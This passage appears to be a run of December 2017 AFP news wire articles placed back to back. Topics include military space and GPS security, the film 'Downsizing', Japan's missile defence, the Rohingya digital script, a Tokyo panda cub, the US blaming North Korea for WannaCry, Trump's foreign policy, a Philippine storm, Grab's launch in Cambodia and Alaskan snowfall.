But the accuracy of these systems is prone to drift a bit over time without calibration, usually done by GPS, something which the military is attempting to improve.

The Pentagon is also investing in a new generation of satellites that will provide the military with better accuracy and have better anti-jamming capabilities.

Lieutenant General John Thompson, commander of the Space and Missile Systems Center based in Los Angeles, said space has become crowded, and the military is all too aware that the days of having superiority in orbit are over.

"Our weapon systems of today were built primarily anticipating a benign space environment (that)... is now contested and congested," he said.

"We have to be able to operate in that domain."

President Donald Trump on Monday unveiled his first National Security Strategy, which specifically addressed the military importance of America's space infrastructure.

"The United States considers unfettered access to and freedom to operate in space to be a vital interest," the document states.

"Any harmful interference with or an attack upon critical components of our space architecture that directly affects this vital US interest will be met with a deliberate response at a time, place, manner and domain of our choosing."
Actress Hong Chau arrives for a special screening of 'Downsizing' at the Regency Village Theatre in Los Angeles, California

Film academic Rajendra Roy recently introduced the star of "Downsizing" with the claim: "This is the last day in your life when you'll ask the question, 'Who is Hong Chau?'"

The endorsement ahead of a recent Los Angeles screening proved astonishingly prescient: within a week, the actress had been nominated for some of the biggest awards in Hollywood for her role in Alexander Payne's satire.

"After you see this movie you will never ask that question again, because she will be the brightest star in your universe, as she is for all of us who have experienced this," gushed Roy, chief film curator at New York's Museum of Modern Art.

If the tribute sounds over-the-top, it is an assessment shared by the film industry and critics alike.

Chau, 38, has amassed best supporting actress nominations for the Screen Actors Guild Awards -- seen as the most reliable predictor of Oscars glory -- as well as the Critics Choice Awards and the prestigious Golden Globes.

Don't expect elaborate navel-gazing about her method or motivation, however, because Chau doesn't see movie acting as a particularly complicated job.

"I never like to sit and discuss my character, the other character, our relationship or anything like that," said the "Big Little Lies" actress, who was born in a refugee camp in Thailand.

"I feel like if I did my job and I trust that the other person has done theirs, you just go on set, play around with it, chew the scene for a little bit, then we roll and that's it."

- Environmental catastrophe -

L-R: Actresses Niecy Nash, Laura Dern, Kristen Wiig, Hong Chau arrive for a special screening of "Downsizing"

The "other person" in "Downsizing" is Matt Damon, who stars alongside the Asian American actress in a near-future world where scientists have found a way to literally reduce humanity's environmental footprint by shrinking humans to five-inch (12.5-centimetre) versions of themselves.

A combination of ecological and material motivations for being downsized appeals to Paul Safranek (Damon), a frustrated but well-meaning therapist, and his wife Audrey, played by Kristen Wiig.

They sign up for the surgery, but she gets cold feet at the last minute, leaving Damon to embark alone on his adventure in the miniaturized world.

Enter Chau, a Vietnamese cleaner who was forcibly miniaturized after being imprisoned as a dissident in her homeland and has lost a leg below the knee as a result of being smuggled into the United States in a television box.

Safranek strikes up a friendship with her, taking the film in an unexpected romantic direction that allows Payne to explore the idea of searching for a better life amid impending environmental catastrophe.

Scripted by two-time Oscar winner Payne and longtime collaborator Jim Taylor, "Downsizing" takes an absurdist, hyperbolic approach to sending up societal attitudes to overpopulation in much the same way that essayist Jonathan Swift mocked treatment of the poor in 18th century Ireland.

Payne told the audience in Los Angeles that the process of "downsizing" may yet prove to be humanity's least worst option in the face of environmental catastrophe, although it was not clear if he was being tongue in cheek.

- 'Mad-cap' -

"It's not me being pessimistic, it just that you read the paper every day -- or at least we used to -- and I can't think of any other solution," he deadpanned.

Director Alexander Payne described Hong Chau's acclaimed performance as having a "mad-cap" quality that put him in mind of groundbreaking Hollywood comedian, actress and producer Lucille Ball

"We can't populate other planets, and we can't just wait for everybody to get killed off through climate change, nuclear war, famine."

Payne ("Sideways," "Nebraska") described Chau's acclaimed performance as having a "mad-cap" quality that put him in mind of groundbreaking Hollywood comedian, actress and producer Lucille Ball.

Chau said lots of people have described her character as wilfully "harsh" or "fiery" and assumed incorrectly that this aspect of both actress and character was just a Southeast Asian personality trait.

"My parents were Vietnamese refugees and they came over here and didn't speak the language and didn't have a support system. When we got over here, it was because we had a sponsor family in New Orleans," she said.

Chau paid tribute to her father's stoicism, recalling that, out of a sense of obligation, he would help the father in the host family with his job as a butcher.

"That's not anything he would want to do. My parents had a coffee shop in Saigon before they came over," Chau said.

"You develop those things because of all of the tumultuous events that have happened in your life, and probably a lot of violence and internalized trauma."

"Downsizing" is scheduled for release by Paramount on December 22.
Last month, North Korea fired a missile that splashed down into the sea only 250 kilometres from Japan

Japan's government on Tuesday approved the introduction of the US military's land-based Aegis missile interceptor system, beefing up its defence against "serious" and "imminent" North Korea threats.

The regime in Pyongyang has fired two missiles over Japan this year and has threatened to "sink" the country into the sea.

Last month, North Korea test-fired an intercontinental ballistic missile (ICBM) that plunged into the waters of Japan's exclusive economic zone.

"North Korea's nuclear and missile development has entered a new stage of threat that is more serious and imminent to our country's security," the government said as it endorsed the introduction of Aegis Ashore at a cabinet meeting.

Japan needs to drastically improve its missile defence, Tokyo added.

Speaking later Tuesday at a lecture hosted by Jiji Press, Prime Minister Shinzo Abe vowed to take a hard look at whether Japan's defence capability is sufficient to protect its people.

"While keeping our defence-only policy as the basic premise, I will examine what our defence capability should truly be like while facing up to the severe reality for our country," he said.

Abe argued that the UN sanctions on Pyongyang must be taking effect now and dismissed the view that too much pressure could trigger an "explosion" of violence.

Prime Minister Shinzo Abe vowed to take a hard look at whether Japan's defence capability is sufficient to protect its people

"Thinking that way gives North Korea the maximum bargaining power... What is important is not to give in to North Korea's bluff," he said, vowing to keep imposing pressure until Pyongyang begs for dialogue.

Abe also sought cooperation from China to solve the problem.

"As the North Korean issue faces an important phase, the role of China is extremely important," he said, adding he wanted to elevate relations with China to "a new level" by reciprocal visits and other exchanges.

- 'Permanent vigilance' -

Japan plans to introduce the Aegis Ashore system at two locations, covering the entire nation with powerful radars.

The deployment will hand the US ally another layer of defence in addition to SM-3 guided missiles launched by Aegis destroyer vessels and Patriot Advanced Capability-3 (PAC-3) missiles.

However, it will take years before the Aegis Ashore system is operational, according to Japanese officials.

The contract is yet to be signed with the United States and deployment at two locations could cost a total of 200 billion yen ($1.8 billion), including the cost of building new facilities.

However, officials insisted the new system would boost Japan's missile defence.

"Naval vessels need to return to their ports regularly for rest and refuelling, but if it's ground deployment, we will be able to operate almost 24-7," an official said.

"We can be on permanent vigilance even when signs (of missile firing) are hard to detect," he said.

Japan is reportedly planning a record $46 billion defence budget for the next fiscal year in the face of the North Korean threat.

Defence Minister Itsunori Onodera said this month the country also plans to purchase long-range cruise missiles from US firms with a range of some 900 kilometres (560 miles).

The move would be controversial as Japan's pacifist constitution bans the use of force as a means of settling international disputes.
The Rohingya had no written script until Islamic scholar Mohammad Hanif began studying the nuances of the language

For decades the Rohingya have been denied recognition in Myanmar but the persecuted minority is close to securing a crucial symbol of their identity -- their own unique digital alphabet.

The language of the stateless Muslim people has been included in the planned upgrade to the Unicode Standard, the global coding system that turns written script into digital characters and numbers.

It would allow the Rohingya to write emails, send texts and post on social media in their own language -- a major step for a people who had no written script until the 1980s.

Victims of violent oppression in Myanmar that has been likened to ethnic cleansing, many Rohingya face far more pressing concerns than searching Google or sending a tweet, and most lack not just the technology but the literacy to do so.

But experts say imparting the Rohingya a digital script of their own is hugely symbolic for the recognition and survival of the marginalised people, even if it is not adopted quickly.

"If a people do not have a written language of their own, it is easier to say that as an ethnic group you don't exist," said Mohammad Hanif, who developed the writing system for the Rohingya language in the 1980s.

"It is easier to repress them," the Rohingya madrassa teacher living in Bangladesh told AFP.

This is especially the case with the Rohingya, with Myanmar even refusing to use their name.

Hanif says around 50 books have now been written using the script

Myanmar refers to them as "Bengalis" instead, painting them as interlopers from Bangladesh even though many of them have lived in the country for generations.

Experts say language is part of the issue, with Rohingya speaking a dialect of Bengali understood in Bangladesh's southeastern Chittagong region, but foreign to the Buddhist majority in Myanmar.

The minority group has been driven out of Myanmar's westernmost Rakhine state in waves of systematic violence, most recently in an army campaign that Doctors Without Borders say killed at least 6,700 Rohingya Muslims in its first month.

Nearly 650,000 Rohingya have arrived in Bangladesh since the military crackdown began in August, escaping arson, rape and murder in their homeland.

- 'It is revolutionary' -

The Rohingya had no written script until Hanif -- an Islamic scholar who fled Rakhine in an earlier surge of violence -- began studying the nuances of the language.

Hanif said around 50 books have now been written using the script which is also taught in some faith schools catering to the Rohingya in Malaysia, Pakistan, Saudi Arabia and Canada.

Other attempts at developing a writing system had used Arabic, Urdu and English scripts, the latter known as "Rohingya-lish".

But "Hanifi Rohingya" may be the one to be encoded by the Unicode Consortium -- a nonprofit that oversees the global standardization of digital characters and numbers.

A representative for the US-based consortium told AFP by email that Hanifi Rohingya was one of the scripts being considered in the next version, but a final decision would be made in February.

If approved, it would allow the global Rohingya diaspora -- including, eventually, the more than 800,000 refugees in Bangladesh -- to also send messages through chat services like WhatsApp using their digital alphabet.

"(This) legitimises the struggle of the Rohingya language and its much persecuted people," said Muhammad Noor, a software engineer who built a computer typeface for "Hanifi Rohingya" compatible with word processing, but not online usage.

Translators Without Borders, a nonprofit providing translation services for charities in crisis zones, said the importance of taking the Rohingya language into the digital realm could not be overstated.

"It is revolutionary," the charity's Rebecca Petras told AFP in Cox's Bazar, where the Rohingya camps are located.

"In order for the language to survive, a script is necessary. This would strengthen the language and go a long way to preserve it."

- Fading out -

But the denial of education to most Rohingya in Myanmar means many cannot read or write the script, posing enormous hurdles for its survival in cyber space.

The minority of Rohingya afforded an education in Rakhine were instructed in Burmese, and even religious schools were not permitted to teach the written Rohingya script.

Those seeking to save it from obsolescence are looking to the next generation in makeshift schools across Bangladesh's teeming refugee camps.

More than half the new arrivals since August are children, and experts say unless they learn the written Rohingya script, it will wither away.

Rohingya groups are pushing for its inclusion in schools, but many children are quickly adopting Bengali instead, finding the local language more useful than their mother tongue.

Schools have also focused on Burmese and English, throwing up another roadblock for those fighting for the language's survival.

"The UN schools are our only hope to introduce the written script to half a million children in the camps. But there is no attempt to teach Rohingya language, which is unfair," said Rohingya activist Rafique bin Habib.
Baby panda cub Xiang Xiang has melted Japanese hearts

Hundreds of fans flocked to a Tokyo zoo Tuesday for the first public viewing of baby panda Xiang Xiang, after winning a lucky lottery ticket that a quarter of a million applied for.

Long queues formed outside the zoo as fans -- many wearing panda cub hats or gloves -- waited patiently for a brief glimpse of Xiang Xiang, whose name is derived from the Chinese character for "fragrance."

Such was the demand to see the hot new attraction that the zoo held a lottery and only those lucky enough to win the coveted golden ticket gained access to the panda enclosure.

Nearly 250,000 people applied to see Xiang Xiang and the zoo will limit the maximum number of visitors to 2,000 a day until the end of January to reduce stress on the animals.

Inside, Xiang Xiang rolled around in her pen, munching on bamboo and scrambling up trees while her mother watched laconically.

To spare the pandas from overexposure, visitors were alloted only a few minutes to watch them in action before being moved on by a strict team of timekeepers.

But this did not dampen the enthusiasm of the fortunate fans who got to see Xiang Xiang on her first day on public display.

"Oh how cute," cooed university student Haruna Yamada, 21, dressed for the part with fluffy panda ears and matching panda accessories -- earrings, necklaces and rings.

"I've been a fan of pandas since high school. They are my favourite animal," enthused Yamada, pleased to see that Xiang Xiang was "really active, moving around".

Eriko Mihara, 35, had dressed her one-year-old baby in a panda jacket for the occasion.

"She was really active, eating bamboo and rolling around. We are very happy to see her. She was fluffy and cute," said Mihara.

- 'Fluffy and white' -

Another fan, 70-year-old retiree Osamu Saito, joked: "She is cuter than my grandchild. Just joking! But I can say she is as cute as my grandchild. She is really fluffy and white. Oh, she is adorable."

"I was really lucky. Never thought I get the ticket," he added.

Japanese media were no less obsessed with Xiang Xiang's first day, with television channels broadcasting live images of the panda and the crowds.

Images of Xiang Xiang were plastered over the front pages.

Merchandising shops were also cashing in on the craze, with panda goods flying off the shelves.

A particularly popular toy was a stuffed version of Xiang Xiang as a newborn that was popular with old and young alike despite an uncanny resemblance to a pink rat.

For avid panda fans who miss out, the zoo will offer a year-long live stream of Xiang Xiang's daily life starting from Tuesday.

Mum Shin Shin, who mated with Ri Ri in February, had previously given birth in 2012 -- the zoo's first panda delivery in 24 years -- only for the cub to die from pneumonia six days later.

Zookeepers have since given the adult pandas some private space in a bid to create an environment for the bashful creatures to mate successfully -- a notoriously difficult process.

Until recently considered an endangered species, it is estimated that around 2,000 giant pandas remain in the wild, in three provinces in central China.
Mratt Kyaw Thu, 27, was recognised for a series of articles focused on ethnic and religious conflict in Myanmar's Shan and Rakhine states in 2016

Reporter Mratt Kyaw Thu has won the 2017 Agence France-Presse Kate Webb prize for his compelling and rigorous coverage of ethnic strife in his native Myanmar, AFP announced on Tuesday.

The award recognises exceptional journalism in difficult or dangerous conditions, and is named after one of AFP's finest correspondents who died in 2007 at the age of 64.

Mratt Kyaw Thu, 27, was recognised for a series of articles focused on ethnic and religious conflict in Myanmar's Shan and Rakhine states in 2016 -- the latter a precursor to the exodus of nearly 650,000Rohingya Muslims from Rakhine earlier this year.

The stories were published in the weekly English-language news magazine "Frontier", which has established a reputation for independent reporting in a country where rights groups say media freedoms have worsened, despite the installation of a civilian-led government last year.

Two local Reuters journalists face up to 14 years in jail after they were detained under the Official Secrets Act last week.

"AFP is particularly pleased that a Myanmar journalist will receive the Kate Webb award for the first time since its inception in 2008," said AFP's Asia-Pacific regional director, Philippe Massonnet.

"Journalists work in a tough environment in Myanmar, where press freedom is a constant battle in which Mratt Kyaw Thu is one of the regular combatants," Massonnet said.

The Kate Webb award carries a 3,000 euro ($3,500) prize and will be formally presented at a ceremony in Yangon in the New Year.

Kate Webb earned a reputation as a fearless reporter while covering wars and other historic events in Asia during a career spanning four decades.

To honour her passion for encouraging and supporting regional staff, the prize recognises journalists who are locally-hired in Asia.

"This award is recognition for me personally but also for the struggles of all Myanmar journalists, who are in a very difficult situation right now," Mratt Kyaw Thu said, after learning he was the winner of the 2017 prize.

"Friends are being arrested for doing their job. Myanmar journalists are being watched closely by the military and government - it's worse than before," he said, adding that the prize would give him "strength and encouragement".

The prize is administered by AFP and the Webb family.

The 2016 award went to the independent Afghan TV station Tolo.
North Korea was widely suspected of being behind the WannaCry computer virus and ransomware attack, which demanded payment to restore access

The United States officially accused North Korea late Monday of carrying out the massive WannaCry attack that infected some 300,000 computers in 150 countries earlier this year.

North Korea was widely suspected of being behind the computer virus and ransomware, which demanded payment to restore access. It has been denounced as such by Britain, but the United States had yet to follow suit.

Homeland Security Advisor Tom Bossert made the announcement in a Wall Street Journal op-ed, and was expected to provide more details in a briefing with reporters early Tuesday.

"The attack was widespread and cost billions, and North Korea is directly responsible," he wrote.

"We do not make this allegation lightly. It is based on evidence."

Among the infected computers were those at Britain's National Health Service (NHS), Spanish telecoms company Telefonica and US logistics company FedEx.

"These disruptions put lives at risk," Bossert wrote.

"North Korea has acted especially badly, largely unchecked, for more than a decade, and its malicious behavior is growing more egregious. WannaCry was indiscriminately reckless."

He said Washington must lead efforts to cooperate with other governments and businesses to "mitigate cyber risk and increase the cost to hackers," and thus improve internet security and resilience.

"When we must, the US will act alone to impose costs and consequences for cyber malfeasance," Bossert added.

President Donald Trump "has already pulled many levers of pressure to address North Korea's unacceptable nuclear and missile developments, and we will continue to use our maximum pressure strategy to curb Pyongyang's ability to mount attacks, cyber or otherwise."

The WannaCry attack spread rapidly around the globe using a security flaw in Microsoft's Windows XP operating system, an older version that is no longer given mainstream tech support by the US giant.

Ransomware, which can be used on PCs as well as tablets and smartphones, is malicious software which locks computer files and forces users to pay the attackers a designated sum in the virtual Bitcoin currency to regain access to the files.

The Washington Post cited a US official as saying Trump's administration would be urging allies to counter North Korea's cyberattack capabilities and implement all "relevant" UN Security Council sanctions.

It said the CIA had already laid blame on North Korea for the attack in November, though the assessment was classified and had not yet been previously reported.
US President Donald Trump marks the end of his first year in office facing escalating crises -- spurred by the unpredictable signals coming from the White House

President Donald Trump erupted onto the global stage under the isolationist banner "America First" -- bent on tearing the multilateral world order down to its foundations.

Now, at the end of his first year in office, the United States and its shell-shocked allies face several escalating crises that could plunge the world into devastating new conflicts.

When Trump came to office in January, his predecessor Barack Obama warned that North Korea's breakneck dash to develop long-range nuclear missiles was his most pressing threat.

As 2017 comes to an end, that threat has soared dramatically -- last month Kim Jong-Un test fired an ICBM and boasted that his nuclear arsenal can now hit any city on the US mainland.

Trump himself has stirred tensions with reckless language, sneeringly branding Kim "Little Rocket Man" and threatening to visit "fire and fury" on his authoritarian regime.

Trump has stirred fears of nuclear conflict with his personal attacks on North Korean leader Kim Jong-Un, whom he has nicknamed "Little Rocket Man"

Alongside the bravado, US diplomats have put together a punishing international sanctions regime designed to force Pyongyang to the table -- so far to no avail.

South Korea and Japan -- also in North Korea's firing line -- are facing a potentially cataclysmic conflict and China is concerned about chaos erupting on its border.

But, perhaps for the first time it is not the erratic behavior of the North Korea dictator that worries the world, but the unpredictable signals coming from the White House.

"I think before President Trump there was always a consistency about US policy and preferences, with some exceptions," said Paul Stares, senior fellow at the Council on Foreign Relations.

"But President Trump's behavior, the erratic decision making, the tweeting and seemingly impulsive behavior has I think rattled a lot of capitals around the world," he said.

- Bluster and brinkmanship -

US Secretary of State Rex Tillerson is tasked with selling Trump's policies to allies around the world

To produce the annual Global Conflicts to Watch survey, which rated US wars with North Korea or Iran as "tier one" threats, the CFR interviewed 436 government officials and outside experts.

Stares, the author of the report, told AFP he found wide concern.

"It's just difficult to determine whether this is bluster and brinksmanship or a real determination to use force," he said, citing fears of conflict with North Korea, Iran and even Russia.

"Looking ahead to 2018, I don't think anybody is really confident that another year will go by without a serious crisis."

Trump has blown hot and cold on the North Korea sanctions strategy, at one point warning Secretary of State Rex Tillerson he was "wasting his time" in pursuing diplomatic contacts.

But the threat of US pre-emptive military action has remained a constant, even if many experts and -- privately -- serving officials admit it looks like far too risky a prospect.

With North Korean artillery poised just a few miles outside the South Korean capital and Pyongyang warning the US base on Guam could be "enveloped in fire," military action looks dicey.

But the diplomatic track is a narrow one and Kim has shown no particular enthusiasm for it himself, insisting he plans on becoming the world's greatest military nuclear power.

Trump's brinkmanship here doesn't seem to be helping, and now tensions with Iran threaten to start a new front in the many wars still roiling the broader Middle East.

The new president's contempt for the nuclear deal signed by Iran, Obama's administration and the great powers Britain, China, France, Germany and Russia has stoked tensions.

When Trump ruled that the Iran deal was no longer in US interests, CFR president Richard Haass tweeted: "Trump foreign policy has found its theme: 'The Withdrawal Doctrine.'"

As Barbara Slavin, of the Atlantic Council, told AFP at the time: "Trump... fails to understand that the US is most powerful when it leads and shapes an international consensus."

The Iran nuclear deal is among the multilateral agreements that Trump bashes as part of his "America First" stance. Here, Iranians gather next to a replica of a Ghadr medium-range ballistic missile during a demonstration in Tehran on November 4, 2017

Along with Trump's decision to pull out of the Paris climate change accords, the Iran deal row has best symbolized Trump's "America First" break with multilateral diplomacy.

Since his first weeks in office, Trump has also railed against America's traditional allies, accusing them of short-changing America by failing to find mutual defense pacts.

If Trump had made good on his plan to forge warmer ties with Vladimir Putin's Russia, then his more prickly and distant relations with Europe might have caused less anxiety.

But the already ugly relationship between Obama's Washington and Moscow has, if anything, worsened since US intelligence accused Russia of interfering in the US presidential race.

Meanwhile, Trump has shown far more respect for strongmen like China's Xi Jinping, Egypt's Abdel Fattah al-Sisi or Turkey's Recep Tayyip Erdogan than he has for traditional US allies.

- A less stable world -

British Prime Minister Theresa May and German Chancellor Angela Merkel, traditional close US allies, have been targeted by Trump

He has hit out at Britain's Prime Minister Theresa May and Germany's Chancellor Angela Merkel on Twitter, accusing them of being lax in the battle against Islamist extremism.

And, having ditched the TPP trade pact that was meant to bind small east Asian neighbors under US influence to contain China, he is now threatening the NAFTA deal with Canada and Mexico.

Last week, German Foreign Minister Sigmar Gabriel warned that Trump's abdication of US leadership "is accelerating a change in the world order" and that Europe should look to itself.

And that was before Trump broke with decades of US peacemaking practice and unilaterally recognized the divided and disputed city of Jerusalem as Israel's capital.

Palestinian protesters stand on a trash container during clashes with Israeli forces near an Israeli checkpoint in the West Bank city of Ramallah, following Trump's decision to recognize Jerusalem as Israel's capital

Arab leaders were predictably appalled at what they saw as a reckless snub to the Palestinian cause, but the chorus of condemnation was international and near universal.

Celia Belin, visiting fellow at the Brookings Institution, sees a theme running through Trump's most isolationist stances: they are gestures to please US electors and donors.

Indeed, in a speech on Monday to launch his first National Security Strategy, Trump declared: "America is coming back, and America is coming back strong" -- a message clearly aimed at his base.

On climate, Iran and Jerusalem he has signed off on a vow given to part of his electoral base, without really committing Washington long-term to anything new, Belin said..

Nevertheless, she told AFP, the very fact that US allies and foes feel forced to react to Trump's domestic posturing poses risks: "The problem often comes from external overreaction."
Tropical Storm Kai-Tak's slow movement caused large volumes of rain to fall on the central Philippines

The death toll from a tropical storm that pummelled the central Philippines rose to 43 with hopes fading for dozens of others still missing after massive landslides, authorities said Tuesday.

Slow-moving Kai-Tak finally swept out to the South China Sea on Monday after inducing days of heavy rain that led to deadly floods and landslides as it sliced across the central islands last weekend.

The government's disaster monitoring agency listed 43 dead in an updated tally and said 45 other people were still missing, many of them feared buried by mud avalanches that struck the small island of Biliran.

"The retrieval operations are still ongoing but we are not finding anyone alive. We only find dead bodies," Sofronio Dacillo, a disaster monitoring officer, told AFP by telephone from Biliran.

"We still have not given up hope of finding someone alive but the chances are slim."

Bulldozers continued to dig for survivors in houses buried by landslides on Biliran, located about 500 kilometres (310 miles) southeast of Manila. The island accounted for 30 of the 43 deaths, with 31 residents missing, authorities said.

The storm's slow movement caused large volumes of rain to fall on the central Philippines, government weather forecaster Jun Galang told AFP.

"It stayed almost stationary so it dumped a lot of rain and caused a lot of landslides which caused many deaths," Galang said.

About half of the more than 100,000 people who fled their homes remained inside evacuation centres this week, the government said.

As rescue efforts continued, Philippine authorities monitored another low-pressure area in the Pacific Ocean that the state weather service said could develop into a storm and strike the archipelago over the Christmas weekend.

The Philippines is battered by 20 major storms each year on average, many of them deadly.
An increasingly-belligerent Pyongyang -- and volatile US rhetoric -- dominated the world agenda and looks set to do the same next year

North Korea's sprint towards full-fledged nuclear statehood accelerated sharply in 2017, raising fears about a devastating atomic exchange to levels not seen since the Cold War.

An increasingly-belligerent Pyongyang -- and volatile US rhetoric -- dominated the world agenda and looks set to do the same next year as the international community struggles to contain the North's nuclear and missile ambitions.

Multiple sets of UN sanctions failed to stop Pyongyang from carrying out its sixth and most powerful nuclear test -- which it said was a hydrogen bomb -- in September.

North Korea has also tested increasingly longer-range intercontinental ballistic missiles (ICBMs) throughout 2017, and claims it can now strike the US mainland.

US President Donald Trump has responded to each test with his own amplified declarations, threatening to "totally destroy" Pyongyang and taunting Kim Jong-Un, saying the North Korean leader was on "a suicide mission".

But far from persuading Kim to give up his nuclear drive, analysts say Trump's tough talk may have prompted the North Korean leader to accelerate his dangerous quest.

Vipin Narang, a professor at the Massachusetts Institute of Technology, said vulnerable states respond to external threats of force by seeking their own arsenals.

"The best way is to just sprint to a point where you raise the cost of that potential action by signalling, 'I have a lot of nuclear weapons'," Narang told AFP.

"It's impressive and scary how fast they were able to get all these pieces in place," he added.

North Korea says it needs nuclear weapons to defend itself against a hostile America and that its priority is its own survival. Critics say it seeks to reunify the peninsula -- divided by a demilitarised zone since the end of the 1950-53 Korean war -- by force.

- Siren call -

In response to North Korea's recent strides, the United States and its allies have increased their demonstrations of military might, including more frequent flights of American bombers over the Korean peninsula.

Trump's tough talk may have prompted Kim Jong-Un to accelerate his dangerous quest, analysts say

At the same time, top Trump administration officials have repeatedly warned of military options, stoking concerns of miscalculation that could rapidly spiral into conflict.

Van Jackson, a defence expert at the Victoria University of Wellington, said the heightened tensions combined with the growing sophistication of the North's arsenal have increased the chances of an "inadvertent nuclear war" to their highest since the Cold War.

"If North Korea believes the US is going to invade or decapitate the Kim regime, it will have strong incentives to launch a nuclear first strike," Jackson said.

And in countries within reach of the North's missiles, the current confrontation has unleashed fears of a nuclear war which could kill millions of people.

Nervous Japanese have been scrambling to prepare against a potential attack, some even opting to build bomb shelters in their homes and offices.

In South Korea, calls have grown for the country to develop its own nuclear weapons, which would put its decades-old security alliance with the United States in jeopardy, amid doubts whether Washington would be willing to trade "Seoul for Seattle".

Sirens blared across the islands of Hawaii earlier this month as the US state tested its nuclear attack warning system, revived for the first time since the Cold War.

- Policy failure -

Many analysts say Washington must open talks with the North to defuse tensions -- but that remains a challenge.

In response to North Korea's recent strides, the United States and its allies have increased their demonstrations of military might

The North has always said its nuclear weapons are not up for negotiation, and that it will only deal with the United States from a position of equality -- as a nuclear state.

Washington has long insisted that it will not accept a nuclear-armed North Korea and Pyongyang must take concrete steps towards disarmament before any talks, which should lead to its denuclearisation.

That stance seemed to soften this month when Secretary of State Rex Tillerson said for the first time that discussions could take place "without preconditions" -- but the White House said its policy had not changed.

The North declared this month it had reached nuclear statehood with its new Hwasong-15 ICBM, which can carry a "super heavy warhead" to the US mainland.

"I find the entire argument about 'not accepting' North Korean nuclear weapons to be strange," said Joshua Pollack, a senior research associate at the Middlebury Institute of International Studies at Monterey.

"Saying certain words, or not saying them, won't change the reality," Pollack told AFP.

Still, sitting down with a "nuclear" North Korea would mean accepting a huge policy failure by the United States of not stopping the regime in the first place.

The longer Washington waits, the higher the diplomatic price of dealing with an already complicated problem will go, said Joel Wit, senior fellow at the US-Korea Institute at Johns Hopkins University.

Timeline of major North Korean nuclear and missile tests

Wit, who negotiated with North Korea under the Clinton and Bush administrations, said that Pyongyang used to have only "clunky rockets".

"We used to laugh at them and say yeah, this isn't serious," he said of the US.

"Now we see it is serious, and the point is, the price has gone way up and it's going to be a tough nut to crack."
AFP [Australian Federal Police] Assistant Commissioner Neil Gaughan told reporters on Sunday that the case involving the alleged North Korean agent was "like nothing we have ever seen on Australian soil"

Australian police accidentally broadcast on social media details of an operation to arrest a suspected North Korean agent -- three days before he was taken into custody, media reported Wednesday.

The Sydney-based man, described by authorities as a "loyal agent of North Korea", was arrested on Saturday and charged with trying to sell missile parts and technology on the black market to raise money for Pyongyang in breach of international sanctions.

But a minute of conversation about the case between federal police officers, including the timing of the arrest, was broadcast on Periscope Wednesday and linked to on Twitter, The West Australian reported Tuesday.

The newspaper said it had listened to the discussion, which included a suggestion that officers are "not going in all guns blazing, it's only half-a-dozen people and a forensic van".

The paper added that while the tweet was deleted, the broadcast remained live -- and was watched by 40 people -- before it was also removed after the publication alerted federal police.

It was only by luck that no details of the identity of the target were revealed, the West Australian added.

Federal police confirmed part of a conversation was mistakenly broadcast via its Periscope account while "testing a piece of social media broadcasting equipment".

"Steps have been taken to ensure such incidents will not occur again," the force said in a statement.

"The matter has been referred to the AFP's security area for review."

AFP [Australian Federal Police] Assistant Commissioner Neil Gaughan told reporters on Sunday that the case involving the alleged agent was "like nothing we have ever seen on Australian soil".

He added that the 59-year-old suspect, named in local media as Chan Han Choi, was a "loyal agent of North Korea, believing he was acting to serve some higher patriotic purpose".

Choi, who is in custody, is due back in court this week.
Grab says it signed a deal with the government to support infrastructure development, including sharing anonymised traffic data to help authorities control road congestion

Southeast Asia's top ride-hailing firm Grab launched services in the Cambodian capital Phnom Penh on Tuesday, as it looks to lock down regional domination against main rival Uber.

The debut follows Uber's launch in September and expands Singapore-based Grab's presence to an eighth country in Southeast Asia, where it says it controls 71 percent of the private-vehicle hailing market.

While ridesharing giant Uber is the largest firm of its kind with a presence in more than 600 cities, the US-based company has been rocked by scandals and is facing fierce competition from rivals in Asia and Europe.

Sun Chanthol, Cambodia's transportation minister, hailed Grab's launch as a move towards "modernising Cambodia's transport infrastructure".

"These new online services will save time and generally bypass the bureaucracy that has previously been a burden to our citizens," he said.

Grab said it signed a deal with the government to support infrastructure development, including sharing anonymised traffic data to help authorities control road congestion.

Phnom Penh lacks subway services and its roads are routinely clogged by cars, motorcycles and tuk-tuks, causing regular headaches for the capital's two million residents.

Competition between ride-hailing apps has been heating up in Southeast Asia's rapidly expanding market, which is forecast to grow more than five times to $13.1 billion by 2025 according to a 2016 report by Singapore investment firm Temasek.

Grab, which launched in 2012, has poured money into expanding its regional fleet and now has more than 2.1 million drivers in Singapore, Indonesia, the Philippines, Malaysia, Thailand, Vietnam, Myanmar and Cambodia.

It offers locally tailored services such as motorcycle taxis, package and food deliveries and cash payment.

But despite their huge popularity, both Grab and Uber have run into regulatory problems and hostility from local taxi drivers in the region.
The Philippines says its aid priority is rebuilding war-battered Marawi

Philippine President Rodrigo Duterte's government has opted out of a major US development aid programme that requires recipients to support democracy and fight corruption, the two countries said Tuesday.

Duterte spokesman Harry Roque said Manila decided against negotiating a second "compact" with the Millennium Challenge Corporation (MCC), which provided $433.9 million for Philippine anti-poverty projects in 2010.

"We have opted to withdraw from the second Millennium Challenge," Roque told reporters.

The Millennium Challenge, created by the US Congress in 2004, supports with large-scale grants poor countries that are committed to good governance and economic freedom, believing these to be key to fighting poverty.

"The government of the Philippines has decided not to move forward with the development of a second MCC compact," US embassy spokeswoman Molly Koscina told AFP.

The MCC announced in December 2015 that the Philippines was eligible to develop a second multi-year programme for US funding.

However the US embassy announced a year later that the corporation had decided to withhold a vote on a second agreement with the Philippines, citing "significant concerns" about the rule of law under Duterte.

The setback followed a worsening of ties with then-President Barack Obama, who criticised Duterte's drugs crackdown that has claimed thousands of lives and sparked concerns of a crime against humanity.

Duterte has angrily rejected US, European Union and United Nations criticism of his drug war, accusing them of interference in the country's domestic affairs. He also vowed to reject any foreign aid which imposes conditions on recipient government.

Roque said Manila's immediate priorities revolve around rebuilding the southern city of Marawi, which was destroyed in five months of fighting with Islamic militants this year that left more than 1,100 people dead.

"The decision to withdraw was because of the urgent priority of the administration to rebuild Marawi," he said, adding: "I don't think the rebuilding of Marawi qualified" for agency funding.

The spokesman said any MCC project funding would have required matching funds from Manila.

Roque denied that Manila's decision to decline the aid was linked to Duterte's allegations of foreign interference.

"No, not at all," he said.

The corporation said on its website that it has invested more than $13 billion worldwide to support anti-corruption projects, as well as land rights, agriculture, education, energy, health, transportation and water supply.

The first Philippine compact was used for projects to reduce tax evasion, for building roads and for small-scale projects designed to improve the lives of the rural poor.
Scientific models predict that global precipitation -- rain or snow -- would increase by as much as two percent per degree of global warming

Snowfall in central Alaska has more than doubled since the mid 1800s, said a study Tuesday which pointed the finger at global warming.

